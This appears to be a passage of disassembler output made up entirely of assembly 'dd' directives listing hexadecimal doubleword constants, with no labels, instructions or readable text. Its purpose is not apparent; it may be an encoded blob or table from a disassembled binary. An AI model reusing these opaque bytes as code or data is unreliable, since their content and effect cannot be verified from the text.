		dd 549A6F9Eh, 0DCAC5C73h, 7A5FF91Dh, 88906302h,	89499150h
		dd 0B2278EF3h, 0EC5B699h, 4B24E327h, 2EE2E21Fh,	0CBC44289h
		dd 0DAA7E60Bh, 0D8997482h
		dd 0BB1E5CC8h, 1713864Bh, 0D932E57h, 7FD9816Eh,	0F3451BEEh
		dd 0BBCC1715h, 4D34D208h, 0D27CFBF8h, 728D8AD3h, 0ABDD5A37h
		dd 0ACE22266h, 30F7CCEDh, 7E8ED8BEh, 0ED1E74E2h, 7AE7A0D8h
		dd 8875E092h, 9E89660Bh, 0FE64253h, 0EB65373Fh,	6258FB96h
		dd 9FE2DFE9h, 3B1D6572h, 6A2E1DE5h, 0F9072037h,	87A2E1F5h
		dd 0B15F519Ah, 858EE755h, 2F4A1AC7h, 12955BD8h,	9273D688h
		dd 85571683h, 0FD21CB8Bh, 0DC019B62h, 0D830B52Ch, 166DC6A9h
		dd 0B98DAA4Ah, 0FC7F0BF6h, 0F58C78D3h, 0E2161230h, 88F35D28h
		dd 0DC9FE223h, 0D8A76C01h, 56545BC6h, 0A6A3EDE6h, 0AE2D97DFh
		dd 0C237E870h, 7D7C52DEh, 4A120CBEh, 5A800906h,	1BE8FE1Eh
		dd 3E06BCFFh, 96FCBBAEh, 422B4F3Fh, 320CB5E7h, 5367F93Dh
		dd 0FF3E4B92h, 49EA08FEh, 7C45208Ch, 0EC1A1B98h, 0DDD36946h
		dd 0AA9CC542h, 63E11D69h, 0C0A2D32Bh, 0A363982h, 0FD859CA5h
		dd 365C5420h, 68B503B8h, 7799CCECh, 2F21CC4Ah, 0AA820BC9h
		dd 0D200D083h, 73CCA20Fh, 0C9AEC50Fh, 0EC8B1242h, 0C16EA616h
		dd 32DB29F7h, 66CE75B3h, 3336677Dh, 0DFE5E8CAh,	0A566558Bh
		dd 3F49721Dh, 0E7978BEFh, 2A811652h, 0C52F1471h, 83ABCD5h
		dd 0E91F7109h, 0B68F91B2h, 0A0428D52h, 0EB3D590Eh, 0AAE90D55h
		dd 7180ED87h, 8B8B9678h, 340D7497h, 0BF11DEA3h,	1DCC062h
		dd 5AAE5155h, 0A2F7A66Dh, 59C89A97h, 54202063h,	53F4B1E5h
		dd 0A5C40CE7h, 0E86F6067h, 3E79A534h, 0D1E5D72Fh, 803A70D6h
		dd 9E0B9E3Dh, 0AFF59453h, 53C3B2ACh, 0E1750501h, 114C4724h
		dd 9F6F4E13h, 6BAF5D8Bh, 0A5D6A0DAh, 1C6AE294h,	26B6017Ah
		dd 5BB2DD93h, 59BCC782h, 0FB5A8809h, 6F64F0EDh,	63E96A7Eh
		dd 0E111B9A5h, 0E74E4F17h, 3638FDCCh, 0BA69C58Fh, 0B561B691h
		dd 0B5286CB0h, 60BD74F5h, 96F54C55h, 9D197279h,	0D0D658A8h
		dd 0F0D4ED3Dh, 0C15D1B42h, 0B2372DF6h, 34B1537Ah, 8F0DD1DCh
		dd 0BDFF081Dh, 0DB96768Bh, 0A0AF3DDDh, 0C19BD2F6h, 85432FE9h
		dd 4AED07Fh, 0EAB7A29Dh, 4964C2AAh, 774077DAh, 1519F41Fh
		dd 3BA50616h, 1668F119h, 7CCF05DDh, 0B5633AF1h,	454533FBh
		dd 4C159205h, 5B30D47Dh, 4D329844h, 0EF8AA562h,	4A585001h
		dd 23023713h, 59DC3E48h, 177E59E3h, 0F6A1512Ah,	77CE68B1h
		dd 0C6BA829Dh, 0C8CD765Ah, 3BF295D1h, 6EC2FA86h, 11F0B736h
		dd 0A04875F4h, 2CE82CB2h, 0FA49CF76h, 9FB6A9ACh, 47A5510Ah
		dd 25E7E4EDh, 0E3069613h, 8E11C4AEh, 5D3EA070h,	0DE11F3F4h
		dd 0AA8C823Fh, 0B1E1954Bh, 69B405FDh, 0D301B913h, 0DA895A59h
		dd 47BD2578h, 6B30F95h,	8EE39C67h, 59F02346h, 24CF56B8h
		dd 57E26F45h, 3D7FF2B6h, 74FA70FEh, 0CD1EC6Ah, 59610916h
		dd 5218A796h, 43412AC0h, 1D901733h, 18AF8A28h, 144687ACh
		dd 6A9EEAA0h, 2F830213h, 480D4C73h, 0BEC3799Ah,	0B65E96B2h
		dd 0FD0AE5E7h, 0B2249930h, 4C685616h, 5B6093EFh, 0FECFDEC7h
		dd 0E15209E6h, 0DD7FB57Ch, 13F7E02Ch, 28BCE549h, 1C36A3B3h
		dd 350A9B6Bh, 0C75AC1E3h, 3E0AE00Fh, 7719FF57h,	42D9F777h
		dd 0C9E82249h, 0D5607F62h, 1579FECCh, 0DFADF8B7h, 31BC2F80h
		dd 0EA8AF361h, 3A1EFABAh, 0F582D5A0h, 0C8799B4h, 139289CBh
		dd 0F24915CEh, 6ED05993h, 9934AD93h, 739192B6h,	0E0880F3h
		dd 3CA02DF6h, 1A49316h,	0C3583F69h, 26CC2D28h, 33E6DFADh
		dd 590C2BA8h, 3FE96BEh,	7C59BB0h, 1456145Dh, 0E1BACA1Fh
		dd 0AF0B927Eh, 0C58AC802h, 9350AE01h, 66D364B3h, 0B0D31363h
		dd 5ADEFAE7h, 0BF96575Ch, 292F8C68h, 677FBA70h,	7C832AF8h
		dd 0E2BC21A1h, 1E1F5967h, 563C8A1Ah, 3D48EA9Fh,	250C3A62h
		dd 80FFC8A2h, 56FB0F35h, 0F6E1EFDh, 738D2DBh, 2C7B1C17h
		dd 0C029B9E4h, 0AD760ED1h, 0D2AA9650h, 178D3E96h, 7D9389CEh
		dd 72DC580Bh, 312DBDD7h, 0C98128C9h, 0B8E8E77Ah, 0CDD34C2h
		dd 0A13C5E60h, 0E2915258h, 5017B7F7h, 0E9AF14F8h, 0D89A8543h
		dd 4580F998h, 0F12EF7BFh, 5AD7A683h, 20A5053Fh,	0F6BEE22Fh
		dd 0B5927B64h, 0DCBDA1BCh, 0F7A06331h, 0E30A694Fh, 0A4D55AC5h
		dd 0AAB4C91Ah, 0EFC6D2DDh, 0AD33ACC0h, 0CE822F6h, 0E97B0749h
		dd 5F98A35Fh, 0C52A49DCh, 0E46B8365h, 0A7DCAAD6h, 8E5D75FCh
		dd 0DD8C900Ch, 0D0263C81h, 818C384Dh, 0BB1A5762h, 0B48E342Eh
		dd 0F3B28DA2h, 0C36EDDD4h, 0C96C3B29h, 10721B63h, 5D6F80B6h
		dd 0E86C9175h, 27811C68h, 4AD5DC0Fh, 1E9560E6h,	0B89889F7h
		dd 85F626E0h, 7162A10h,	5C483952h, 442BC2E6h, 2E25C733h
		dd 81A9070Dh, 0CDA6060Bh, 1242A2D7h, 9C7E4693h,	970A9CA3h
		dd 0E0399B64h, 154F3F73h, 19B84314h, 0EB27235Ch, 2CE9C9EAh
		dd 8E0B94D8h, 0F687EFDEh, 7F966646h, 1F7978EFh,	0B9499027h
		dd 0D2A6C77Bh, 4831A0A9h, 0E36C5540h, 32B5A6F2h, 23802E84h
		dd 7A1D4CA5h, 0BC31E7D5h, 0EBE35DCEh, 0D28C1B12h, 0B2B93CAAh
		dd 0BCA4BCEFh, 0E3EDBEE9h, 2C2F2F18h, 8511F5D7h, 0C5FEE428h
		dd 0AF424AC6h, 0B83594B1h, 105B0693h, 0DD0DE1DCh, 859EA392h
		dd 0F69CC2A1h, 2FCA79E2h, 0FB4DA14Eh, 3044C5E5h, 0B62917C9h
		dd 0FB1CAC4Eh, 18466FE9h, 6588356Ah, 9B556085h,	52041113h
		dd 0CC3D79D2h, 8219A6E8h, 2B3D1B61h, 1FC8263Bh,	5465FBB6h
		dd 0DA8A7B93h, 403A79F9h, 0FCBAFB39h, 0AEB9C150h, 0B5F46ABEh
		dd 0F6F67801h, 5AF1368Ah, 0B2AC2E3Ch, 7CFD66F4h, 8EEFF1F8h
		dd 0A9C44466h, 95D41931h, 0BF352AAEh, 0DCDF8BA9h, 0C6BBE23Bh
		dd 0E333DF6Dh, 0C8E836C1h, 0EEAE1ACEh, 389E9D6Eh, 79257CFDh
		dd 4F44A68Bh, 0A90BE2A1h, 6B3A37F7h, 764EA728h,	0AC402A14h
		dd 7766F635h, 0FA5BB270h, 3D623626h, 6F923E5Ah,	2B2CA6D0h
		dd 61F040A0h, 0C2328F09h, 11FE3F67h, 0E4663D63h, 0AD5437E5h
		dd 0D3C21B6Bh, 0EDE5C950h, 0F4112D63h, 0A8552503h, 9D62DE17h
		dd 6FBB6ABBh, 6D118AF4h, 89FA6AAAh, 1ECE6DFDh, 0B46C9010h
		dd 54DA722Ch, 0D30BDAFBh, 27574781h, 0D2A65DFEh, 750E55E3h
		dd 7ADAB050h, 0E2794CA4h, 6CE7A548h, 5B0AF6DBh,	0A6ED1354h
		dd 7EF3F658h, 78138C0Ah, 5EBBB615h, 4B9E8680h, 0C20DA27Ah
		dd 396F6D3Ch, 0D47819B5h, 0F13D7F67h, 0F19CB50h, 500D7D2Bh
		dd 0F604FC33h, 0CD71F556h, 0AB1EB2DCh, 0E471FDC2h, 73485A9Fh
		dd 0DA2BD59Bh, 5546478Ah, 64BF0931h, 0E2D6F7EFh, 0C4B61274h
		dd 469F87Ah, 0AF844187h, 394F691h, 0F9745941h, 0C1F81DCCh
		dd 0A480FEB7h, 18FC14A4h, 0EE3A0E8h, 77575D79h,	93341262h
		dd 646AF4A6h, 93148193h, 822F1405h, 2701664Bh, 0AE4C25A5h
		dd 0F6641BC1h, 1C329E04h, 0E5E1A752h, 5BB846F8h, 2060E3A4h
		dd 0CAAF269Bh, 0D4FC14D2h, 81467A34h, 28BF42CFh, 9B0B2099h
		dd 0CDF5AB08h, 2DB96BA9h, 0C7F6A258h, 22F7B5B4h, 1DCB30Fh
		dd 0C0CC8EBFh, 0B11AF9A2h, 0EADD7022h, 33FC67DFh, 6A41E087h
		dd 29034FD0h, 150B508h,	0C231DA2Ah, 82DB48CEh, 0BFB3E76Bh
		dd 0A18F611Eh, 452EDEF7h, 49381D02h, 0C205E0D3h, 5594FCA4h
		dd 1959C875h, 4314363Ch, 0BEF0C2BCh, 932DC819h,	5CF58208h
		dd 78E56E4Fh, 257E94B5h, 0AEF95CABh, 62D5B37Eh,	97E2B1C7h
		dd 2558CE62h, 0E97F6A46h, 10380Fh, 9114E5A3h, 7F9883C4h
		dd 17E4D246h, 0DFDEA8B4h, 8926DD8h, 16B31DE6h, 0ADA2E106h
		dd 47E2760Eh, 0FFD4AE1Eh, 0D1AD11B3h, 70B0C514h, 10596846h
		dd 71A13B30h, 8C6BA846h
		dd 2BE04C5Bh, 8C8D4262h, 3DBFEC8Ch, 4E983713h, 0AE061075h
		dd 5194CD46h, 8AFB826Ch, 118202F1h, 0F22FE277h,	0D0A1690h
		dd 0E083A838h, 0DA50A9E8h, 1C5B39D6h, 0CC09861Dh, 79ED30D2h
		dd 3F118B91h, 94B0B6A6h, 0FAC5F018h, 1B93925Dh,	916AA7BBh
		dd 54B9C6D7h, 3B494A02h, 0D25E01A0h, 0EA58D05Eh, 39423C4Eh
		dd 0AAF96847h, 815DEBC5h, 0AC1E8D03h, 581B034Ah, 730B19D9h
		dd 0F2887BC1h, 24DE0999h, 0BDB4C5BEh, 0E2E4856Dh, 94274F08h
		dd 35717C1Ah, 0C4224E71h, 407EE3DCh, 1D6D64CDh,	1DBFB1F3h
		dd 2EE3245Ch, 302BDBB8h, 96CE1A8Dh, 0BD5CCF71h,	671227Ch
		dd 50258D0Bh, 0C2AC599Bh, 0D1B44568h, 532DEB58h, 0CC8DBC5Eh
		dd 0B1BD28CAh, 12A73CC6h, 498694C8h, 536B8A9Eh,	51DAA6DFh
		dd 1AE2B02Eh, 9CA0B20Eh, 0C6702D4Ah, 9B5E32C5h,	4F3368DFh
		dd 0CB085591h, 11878D4Dh, 0C909E09Ch, 4FDCF5E5h, 8CE8B00Bh
		dd 75052E76h, 0AB517D96h, 342064CFh, 4CE5501Ch,	0E1FC52DEh
		dd 0F7551C22h, 84617DDCh, 911FE896h, 8A0A808Ah,	599A519Eh
		dd 0E5176A98h, 24C66DA5h, 0B904F775h, 8FFF7DF3h, 0BD784BA7h
		dd 9C7DA979h, 0A5FE8874h, 0D2A61082h, 0B3750B71h, 38BB23E4h
		dd 3F82A07Eh, 0B0D79209h, 69AB906Bh, 633722DBh,	3095940Fh
		dd 21F823E2h, 0FAE54827h, 1288AD4h, 0A7736BD2h,	0E1C21343h
		dd 0C478BC3Fh, 9DEB0CD5h, 4E17F2D4h, 0D31C6338h, 5793596Dh
		dd 2F622FF7h, 2533F6F3h, 0EB5A6C33h, 9B677C8Ah,	0A62397E7h
		dd 1AD0B356h, 72CE0095h, 0C5D8A93Ch, 67A7A824h,	0BF54267Eh
		dd 498DF667h, 0D5F85FBCh, 1483121Dh, 554B4642h,	9296C151h
		dd 0AE3DA545h, 0D1B0E5C8h, 34151501h, 46CDEA3Dh, 0E442BF22h
		dd 31B7E49Bh, 535A97A9h, 0EB4B9A37h, 0F9E3AD66h, 0DEE377B8h
		dd 39EF0CBh, 3854E2A7h,	0FE50B1A4h, 0D1C69DA9h,	395F3643h
		dd 0D0C9FA0Fh, 6A9F70BBh, 0F999B05Ah, 16D381E9h, 0ADE4A727h
		dd 0CE95DF84h, 6BA186AEh, 9ED1552Fh, 0B953123Eh, 38922064h
		dd 0DE253EF4h, 86A764D1h, 0A8BD74ABh, 3E3B7C9Ah, 0BC64B256h
		dd 0F9A21696h, 0C65DDDB2h, 0AFA60ECCh, 0E61C3666h, 8CB92B97h
		dd 4FE77838h, 4960248Bh, 4143ECE7h, 92E31C23h, 2CAAD42Dh
		dd 7682E88h, 3DBE54C1h,	0DDD7C7AEh, 58325943h, 95A8039h
		dd 0D97A6746h, 19FCDE4Eh, 0C4C9F66Bh, 0B2DB0FA6h, 6B39CF0Bh
		dd 0FF06A715h, 8C5D533Bh, 80D56227h, 0A6912F72h, 0A6B4B200h
		dd 882CA92Ah, 298A1702h, 7682C4A3h, 0C6818EC0h,	0C8DA2BC3h
		dd 0ABC62C33h, 4E78EFC3h, 0D64BE848h, 7FCC3C11h, 0C5AA02Bh
		dd 32B52058h, 649084EEh, 31CD367h, 1416CC42h, 0A105487Ah
		dd 0FDE624C4h, 0E337A60Dh, 5ABB405Bh, 5A2C75B2h, 0F54FE9C3h
		dd 3343E386h, 8C91EA45h, 5BE09D3Ch, 0E21313D9h,	0A3A7351Ch
		dd 0EA4F4BA0h, 8E2BA513h, 5B6014A7h, 0FAE50DACh, 5317B7C2h
		dd 0AF549FB7h, 0BEE3E382h, 0EE609CB0h, 86DE9981h, 75C50002h
		dd 0A9A4DC06h, 8727DACFh, 0FF4873F9h, 0B80D227h, 0D832AB74h
		dd 0DB7719BEh, 5262C7DCh, 0B9A73357h, 246A03FAh, 5DA3F05Ch
		dd 21ECEBF1h, 0CF70D3CFh, 3675560Bh, 946D2A6Eh,	2CE63137h
		dd 0FC6C0980h, 0CFBC3338h, 728005D5h, 6D68B37h,	76ED5E8h
		dd 0E35F30A4h, 0D7A48097h, 0F079189Ah, 880D6654h, 95ED869h
		dd 45DA0DD8h, 82280090h, 0CEFBCC69h, 0ECE89F42h, 6DBDB848h
		dd 361397E6h, 92F72AB7h, 7394E6Bh, 54777FA1h, 9E2A311Eh
		dd 0EE9053EBh, 203C1B98h, 0EE313AC4h, 0FCEDDEA6h, 0C1BA98EFh
		dd 43C3D33Dh, 12E1DA40h, 0A7F59B7Fh, 6457AD8Bh,	7F4AFBA9h
		dd 0B0514262h, 77CB66BCh, 0BB7762B3h, 0CAA45C03h, 68FB439Fh
		dd 32C58CC7h, 4FAA4838h, 3C0859FEh, 0BA5427E1h,	0EF90DB9Ah
		dd 0CF9B2293h, 0CA6955AAh, 1010C006h, 2D67D04Fh, 0B4FDE2C8h
		dd 2D49957Ch, 47AF7B1Fh, 59025BFAh, 893F60Fh, 0E01DD836h
		dd 168F2E9Fh, 0EB53F3Ch, 25CED58Bh, 69EDEAC9h, 36591B96h
		dd 0B9F513C5h, 0CFF15FF7h, 0E3375191h, 729518EDh, 761F2048h
		dd 4701B885h, 127530D8h, 0D05810ACh, 6BE47A37h,	0CD17BF71h
		dd 1B234BA9h, 9BBCC5BEh, 0E40553FDh, 49F67953h,	68205FFFh
		dd 72EE0C83h, 4E1CCADDh, 40DDF955h, 4B33DC45h, 5E530E7Bh
		dd 0C134E806h, 91F3684h, 0B7ECA61Dh, 0D7BFBDD2h, 0C0AEFFA9h
		dd 9A140828h, 3BD90F3Ch, 0A6B9AE1h, 40430F5Ch, 57030DF5h
		dd 4F7917FDh, 49D7387h,	0D2615A30h, 58DC8DC7h, 0ED2510C9h
		dd 0B2DADFFh, 0C5630C7Dh, 0C4547FE0h, 447CA535h, 0EFC29D65h
		dd 671BDDEh, 5A6DE462h,	7F273FB0h, 939332D3h, 0D7723D6Dh
		dd 1D8744FBh, 93C943A2h, 0AE80A2C3h, 0E59821Ah,	7D14D1Ch
		dd 0E8E50E3Ch, 1AA62F2Fh, 0A2D69C65h, 3A1FEAEh,	376D99E4h
		dd 0EA878DAh, 0D4F0DF6Ah, 44676C95h, 0AFDCB611h, 0FF1B6D26h
		dd 46D60311h, 866B8FC7h, 0A3008142h, 6FCBFC03h,	954715C2h
		dd 28A4CDB7h, 9E6B9BC3h, 5BF5FFBEh, 1F2F64C6h, 0E3FB5368h
		dd 1441947Eh, 2746331Ah, 9E41A280h, 9F43647Dh, 2DE117B8h
		dd 3D7A34EAh, 0D79BBE88h, 7AE9A615h, 19A61CD7h,	3E0D8DE9h
		dd 40310F4h, 59299E74h,	0DEA8F4E1h, 0D3D87151h,	0F9666E66h
		dd 0BC5095E4h, 16F3DA94h, 8B2F0B8Eh, 0B01ECA0h,	812383E9h
		dd 2796D55Ah, 9755BEB7h, 0F3AA1DEBh, 13743D37h,	1F750F59h
		dd 66C0D9ACh, 6FB47FDFh, 0B8EE05BDh, 0EED5AC12h, 177F2FA0h
		dd 0F404B4FCh, 4BF0CC1Dh, 569753D1h, 2701987Ah,	4CE2B5E3h
		dd 8D0C7ED1h, 21BA3021h, 6881573Ch, 901986CAh, 8AD840B9h
		dd 0F2B9025h, 308B8EA4h, 5952A40h, 4AE53FEh, 50AA5625h
		dd 0AAE4537Ch, 0AC8A3CEFh, 9CEC6530h, 0E15010DCh, 46D02B3Ah
		dd 71E1FE7h, 2D8E12C3h,	0F778163Fh, 0D879F3B1h,	0F44B640Eh
		dd 836DCA9Fh, 0A6A696AEh, 0A0F78012h, 0A4428C79h, 0D718C6ECh
		dd 0FB8B0FAFh, 0E8789990h, 7C25D143h, 0E55FA48Fh, 0A73667C7h
		dd 49564671h, 79E545EEh, 0B3FE6BD5h, 6D25E02Fh,	45920340h
		dd 0E35E4C2Bh, 0FE98E08Ch, 2DC12F02h, 2375A29h,	0C977F3F9h
		dd 32D401Ch, 0A83C6FE9h, 0A064293Dh, 0CC341663h, 75B7FDEEh
		dd 483BBB7h, 0B005E699h, 0E137ED44h, 4E36C76Eh,	483C8638h
		dd 7ECB8BDDh, 0FF7706B3h, 8CB96C58h, 0C2E75BDAh, 0EE4061C2h
		dd 7F510B96h, 1290B176h, 0E1BA1ACBh, 8647AA88h,	7A1FF70Ah
		dd 0B370FE1Dh, 4370FBD2h, 0DEE26988h, 19AC03CCh, 0CA1C50AEh
		dd 5C81269Eh, 99226B20h, 0DEBC827Ah, 37BA96CDh,	0D76E0D79h
		dd 0E17BF524h, 3C7BBF2Bh, 0FCA132ECh, 0A31475Dh, 9B07AFADh
		dd 0A64EE8DDh, 0FBABDC07h, 7807A0E0h, 0A00608D1h, 0CA93C03h
		dd 16DA17EAh, 33C28E1Fh, 9E1A42ACh, 1C2B6728h, 8E5699EFh
		dd 0BB7E0D48h, 61DC69DEh, 0B9ACAC6Dh, 5194BE40h, 207DCDCCh
		dd 90D8073h, 27C818Dh, 3C69162Bh, 977E5537h, 4B6DA9D6h
		dd 0D17F9359h, 1D9832CCh, 891CB82Eh, 0BC19A46h,	14744964h
		dd 0E3376BD3h, 45BCC225h, 4CF5DF18h, 9CAA2AF4h,	0FCCDEC32h
		dd 531895E8h, 56E438FFh, 0CE3E0F52h, 0BF273725h, 0AE921CE7h
		dd 30F38372h, 5E6C81C4h, 0C796B0A0h, 4CCA3E7Fh,	9F44E35Ah
		dd 0C93F5154h, 3F85A2AFh, 0B35A0A7h, 4AE6E29Fh,	3B57966h
		dd 0CF610CEAh, 51975CBCh, 969B5C2h, 0AA8EF04Bh,	777D30BBh
		dd 9944C633h, 68660988h, 0CFFD59C4h, 0FDD09D90h, 5BD25BAh
		dd 9E0340DEh, 0DBA4BAABh
		dd 99FAA666h, 0D3A90ED7h, 0AC599FDCh, 9416E3Ah,	4AF97ADFh
		dd 0B57C4C4Dh, 18879E2Dh, 0FD7B49ABh, 85291A69h, 0F6337A66h
		dd 70B3896Bh, 0BF297E15h, 0ABF3B6F2h, 759586E7h, 0FFE38152h
		dd 1DF4E60h, 0C578E897h, 0D632242Fh, 0FE72B032h, 0C50B6B0Ch
		dd 3D4FDF6Ch, 3245B99h,	0BA6CD896h, 0EE471534h,	0CFE4139Bh
		dd 90976848h, 72DA54B1h, 0D2B30DC0h, 4F9C9EF7h,	9E4D7626h
		dd 0E5A59783h, 0D1EC8230h, 10C07E69h, 0DDE362E5h, 7B33F83Dh
		dd 6F761A8Bh, 345E35EEh, 0A2A75092h, 0E33D2C46h, 679B8312h
		dd 4B95028Bh, 0F2C1E2F6h, 0DEEA41E4h, 0B27EB2D6h, 47E46AF5h
		dd 15E3F8ACh, 7205CB32h, 0CDEE480Bh, 99DA4A34h,	0A8D42D68h
		dd 0CB01E44Dh, 41A7A734h, 523A87BAh, 0AE1B78E0h, 0A9B94262h
		dd 2E711079h, 0FD3C1A30h, 0BF52D437h, 0F1858519h, 1A8FC49Eh
		dd 2EEE3C6Eh, 0E84B65BBh, 6C572389h, 0E5EADCB1h, 5E6F768Ch
		dd 0BD37D58Dh, 0A12BE881h, 0B3700A4Ch, 16C1E199h, 9D6916E6h
		dd 0B020EA45h, 97372DD5h, 6A4E1329h, 88B83AA3h,	7DA1978Eh
		dd 1CFC2A22h, 9EEEAF60h, 0E00050F5h, 0C001D82Ch, 0D602592Ah
		dd 303DA3EDh, 66843C57h, 8C6D3109h, 0FD6A0246h,	0A4BACED2h
		dd 25B06C4Bh, 9221CE88h, 0C5B0FE37h, 0E4A5B6E4h, 54C0731h
		dd 0C881D49h, 6DA86E88h, 0B05191Ah, 0C18F8DD4h,	55174909h
		dd 0F52025B3h, 0A82982Fh, 0B98EA159h, 0DA995906h, 732C39E8h
		dd 0A58A5EEAh, 3061B27Eh, 15571B91h, 92421840h,	5CE004AEh
		dd 0E412F6F6h, 723081EEh, 73E8E2F3h, 94EEF4C5h,	55DC8160h
		dd 22360FFBh, 9A05A434h, 68B4B915h, 6BC3148h, 6740B659h
		dd 96C52DD9h, 0B4BF1907h, 789A3EC5h, 87CEACE4h,	0D5D0E788h
		dd 415AA302h, 0D4C80942h, 174ADC55h, 4359078Bh,	0D095A354h
		dd 4F5008Eh, 0C8D57D6Dh, 0ABFD9FF6h, 9C969B88h,	595FE8E5h
		dd 8BCD0AA3h, 0E01FED11h, 0D6986C33h, 23620444h, 0C71FD775h
		dd 9396CE17h, 0E79F0495h, 0C5E922D6h, 9CA6BC89h, 0F556A502h
		dd 2010AA2Bh, 2141B1AEh, 0ADB9A2D5h, 6B82ED3h, 0D1269C9Bh
		dd 0A31403D8h, 90DE1439h, 0B5FA864Eh, 2ACECEDDh, 1614F2B6h
		dd 0A7745C0Eh, 3CCB3619h, 6874C41Eh, 0E4FB9EC5h, 65CB681Ah
		dd 956C5D58h, 0A45C12F5h, 28AC42Fh, 1C9B5282h, 5CEE686Fh
		dd 480E9D1h, 7137F3FCh,	0D979D3E1h, 0DDEFF7D1h,	0E400D42Bh
		dd 0A599B25Fh, 7B081ECBh, 0E54ED84h, 2D93E89Eh,	0B340590Eh
		dd 3538485Fh, 0DFEACAD3h, 3D0CF51Ch, 25A403D7h,	4F1C4669h
		dd 0DAA2838Ch, 983C5846h, 0AF458D22h, 3237AC66h, 0CECFCA0Ch
		dd 2A9C467Ah, 385EDCA4h, 5B7D2E5Bh, 57156D53h, 0E1FC0838h
		dd 95F2FF40h, 8A631871h, 244602D7h, 747E6198h, 0D71882B3h
		dd 0B96766DDh, 0A0528BF1h, 0C94AAD4Ch, 1938BB1Ch, 3C3E4475h
		dd 97EB8A7Ah, 5CE57796h, 8DE63FC8h, 5E66C2D7h, 141F3582h
		dd 0F5DBBF4h, 7570C5D0h, 0DCA4C68Ah, 19107F68h,	1C01EEAh
		dd 8B770FD1h, 0B1C99318h, 0F99DD7DFh, 0FC8BF2AEh, 82935EE7h
		dd 0C086AD83h, 11434C0Fh, 4023B3FCh, 43EF91Bh, 0BBFFE935h
		dd 117F3C1Bh, 9527B78Bh, 463EF553h, 9CF19760h, 65D6B7A3h
		dd 35FD4CC1h, 0DFFFA26Ah, 0FB322AC1h, 48B4EC8Ah, 6DA5E11Bh
		dd 0F155838Fh, 0F3B85ED8h, 16F69F6Ah, 12122502h, 0BBD475FAh
		dd 0A0B973EEh, 0E737099Dh, 0E19E248Eh, 237ED194h, 0E5A4491Dh
		dd 2AF3C6DFh, 0F69A5509h, 0DD153915h, 98E35698h, 8D026433h
		dd 0DFDB5C2Ch, 0F7B6C87Ah, 0D40EE104h, 979A5857h, 0D1930BE4h
		dd 17C6AA17h, 0AA6C410Fh, 0BBE1208Dh, 7615B12Ah, 0EDF801CBh
		dd 0BA381A69h, 3B4F50D3h, 0A3A8899Eh, 0A292FB70h, 5CCB0A3Ah
		dd 0F0ECD4B3h, 9A145FBCh, 0E9FE7377h, 0DF7E22EDh, 7914B21Fh
		dd 0B921C560h, 5D6EA0FBh, 9567F71Bh, 7E8E527h, 89492939h
		dd 38258AFFh, 976EEF5Dh, 41510C74h, 1AD3E664h, 33D3251Ch
		dd 0D08A4BD1h, 63F26327h, 3F698CC1h, 0B616D582h, 83FDB777h
		dd 732BA6DEh, 4C359833h, 0AC6D7606h, 0A8568F7Ch, 12E32A58h
		dd 92821CCAh, 0CD38A568h, 0A3054C2Eh, 0D55E41A1h, 210CFFAEh
		dd 24410656h, 0B857CD96h, 17C20C11h, 62C655EFh,	4EEFDD85h
		dd 966DCED1h, 7B8AF598h, 12A3F522h, 0FD4DC333h,	79608DEEh
		dd 2729D694h, 0E0292EDDh, 7ACA181Ch, 0F0DF4218h, 0C435E927h
		dd 0EC66144Dh, 32B39825h, 8544A0F1h, 1C861906h,	8A897CC1h
		dd 17AE9541h, 99011EF7h, 0D0AE3872h, 0EF62F0FCh, 1223C415h
		dd 510DE6E9h, 1AE67ADAh, 0DFBC15C5h, 649A2415h,	7534BBDEh
		dd 7DE6BF77h, 7E6FA3Fh,	0DDDA79E6h, 14BDB082h, 936570EFh
		dd 0DD80106Ch, 17A11AEAh, 4A95BB5Ah, 9699EF85h,	4FFD5AAEh
		dd 0BAE4551Ch, 642C2B6Ah, 9CE8A00Eh, 26174101h,	9ADA5521h
		dd 1AA9685Fh, 4DB05735h, 0ABB42862h, 232AE836h,	4559497Dh
		dd 41B34510h, 48FB3F12h, 47A01180h, 92D9B728h, 2760A86Fh
		dd 9BA2AF78h, 6E9FB2F0h, 6CBAB77Eh, 8EEEB137h, 76EF13BCh
		dd 87B70928h, 7F22E87Ah, 0EB02CB49h, 0C717454Ah, 2DFF7BEBh
		dd 96D32BCAh, 96CFF81Dh, 0B102B2EFh, 599595E4h,	84E70577h
		dd 0BC1D7B38h, 357306CFh, 30C87F8Fh, 68296E28h,	0BEEDD556h
		dd 1B9FBEC8h, 621D5D4Fh, 505A6EFEh, 0FE7E39A1h,	3C1467BBh
		dd 0B32EF23h, 7AC804C5h, 6F8E9824h, 61CBC8D9h, 7B22231Ch
		dd 61431F06h, 5F3D2AFh,	546ED295h, 9173B02Bh, 4DCA4CB2h
		dd 0D8D930EDh, 0D91CF8B6h, 5864DA85h, 0E75A4CF6h, 0F8861751h
		dd 0D03135EDh, 0E3C8FE93h, 31288C86h, 39062B90h, 0FA0F4963h
		dd 0B1B957Bh, 1C941728h, 4BBB0F54h, 96F247A4h, 0EEDF6BD1h
		dd 17974D74h, 8AEFA4E0h, 0AA931F5Ah, 0B8333008h, 5A9F83CBh
		dd 0AE6138FFh, 836A7F85h, 5C144CB3h, 8DFD909h, 95279D08h
		dd 92BAB5AAh, 9B890199h, 0BEB32E4Ah, 0D26FCEA4h, 0AD24C82Bh
		dd 4DF3BD16h, 0C86E6D44h, 67CBCB0Fh, 89BE4D69h,	0DDA5A312h
		dd 0BA8A0622h, 0C40352CEh, 0DFB2D0FBh, 2C0D886Dh, 25E9AC48h
		dd 44049398h, 26EF7B3Fh, 660F5D5h, 0B5AA42Ch, 9B35DA06h
		dd 4A28B4ADh, 1E0C2963h, 7315E7DAh, 0FCDEDA64h,	531BC45Dh
		dd 53BF1E86h, 160692B7h, 6593CD2Dh, 7722700Ch, 0AA04F5A8h
		dd 0C6148E5Eh, 3227A143h, 33B11AE8h, 0FA7436D2h, 6DC840ECh
		dd 269101E8h, 3E0BC391h, 15EC6BBAh, 0A36F15F1h,	49CBBBBh
		dd 62FC50D8h, 0C2A0D99h, 8DD52763h, 0D4E189Bh, 2137DBC6h
		dd 0B93858F5h, 0AF979812h, 61D36F29h, 51733C8Fh, 0F82F6D9Ch
		dd 0F5CEE075h, 0F291149Eh, 307152EAh, 0E58BF346h, 1FF4A032h
		dd 2DED92E5h, 0DB7CD74Fh, 51E38DF9h, 6A10BAB9h,	0C3EE5DB3h
		dd 0A2498BBBh, 9432AB4Fh, 78B2B10Ch, 0A7D26671h, 5C802393h
		dd 9D8CE9B1h, 622E85E9h, 0B05D3C3Eh, 0F2F8668Eh, 39BD36F2h
